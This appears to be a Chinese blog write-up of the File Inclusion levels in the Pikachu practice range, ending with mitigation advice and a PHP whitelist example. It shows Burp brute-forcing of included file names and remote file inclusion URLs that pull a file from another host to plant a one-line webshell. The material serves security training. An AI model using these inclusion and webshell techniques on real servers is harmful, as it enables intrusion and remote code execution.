pikachu-File Inclusion

文章讲述了作者通过实验发现并利用PHP的FileInclusion漏洞,从本地文件包含到远程文件包含的过程,包括漏洞触发、文件上传、getshell获取以及远程代码执行。最后总结了对文件上传漏洞的理解和相关工具应用。

实验步骤


File Inclusion模块

php的文件包含不管文件后缀名是什么,只要包含php代码,就可以被当作php代码解析第一关  File Inclusion(local)


首先可以在输入框中选择很多NBA明星,可以看到他们的照片和简介,同时访问是URL也暴露了出来,然后一次访问,依次可以看到有filex.php(x是数字)这样的的文件,而且是通过URL参数从前端传到后端的话,如果没有严格过滤就很可能有文件包含漏洞


那我们bp查看一下数据

将数据发送到测试器,我们看看之后数的字是否还有别的有用的信息

爆破的就选择数值就可以了,从6到100


6到100,每次依次增加1

### Pikachu中文件包含的使用 在pikachu中,文件包含相关操作通常通过构造特定的URL参数来实现。例如,在示例引用中给出了一个远程文件包含的URL:`http://127.0.0.1/pikachu-master/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/pikachu-master/shell.txt&submit=提交查询` ,这里通过 `filename` 参数指定要包含的文件,服务器会尝试包含该文件内容。当访问这个文件之后,就会执行该代码,在本地创建一个文件,包含一句话木马,如 `http://127.0.0.1:8080/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.3.184:8080/aaa.txt&submit=提交` [^1][^3]。 ### 漏洞利用 文件包含漏洞分为本地文件包含(LFI)和远程文件包含(RFI)。本地文件包含仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击者更多的会包含一些固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。例如攻击者可以上传一个包含恶意代码的文件,然后利用本地文件包含漏洞包含该文件,从而执行恶意代码。远程文件包含则允许攻击者指定一个远程服务器上的文件进行包含,攻击者可以构造包含恶意代码的远程文件,让目标服务器包含并执行,如通过构造恶意的 `aaa.txt` 文件,让目标服务器执行其中的恶意代码 [^2]。 ### 解决方案 - **输入验证**:对用户输入的文件名进行严格的验证和过滤,只允许包含合法的、预定义的文件。可以使用白名单机制,只允许包含在白名单中的文件。 - **禁用危险函数**:如果不需要使用远程文件包含功能,应在服务器配置中禁用相关的函数,如 `allow_url_fopen` 和 `allow_url_include` 等。 - **限制文件路径**:确保包含的文件路径在可控的范围内,避免攻击者通过构造特殊路径来包含敏感文件。 ```php <?php // 示例:白名单验证 $whitelist = array('file1.php', 'file2.php'); $filename = $_GET['filename']; if(in_array($filename, $whitelist)) { include($filename); } else { echo "Invalid file"; } ?> ```
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值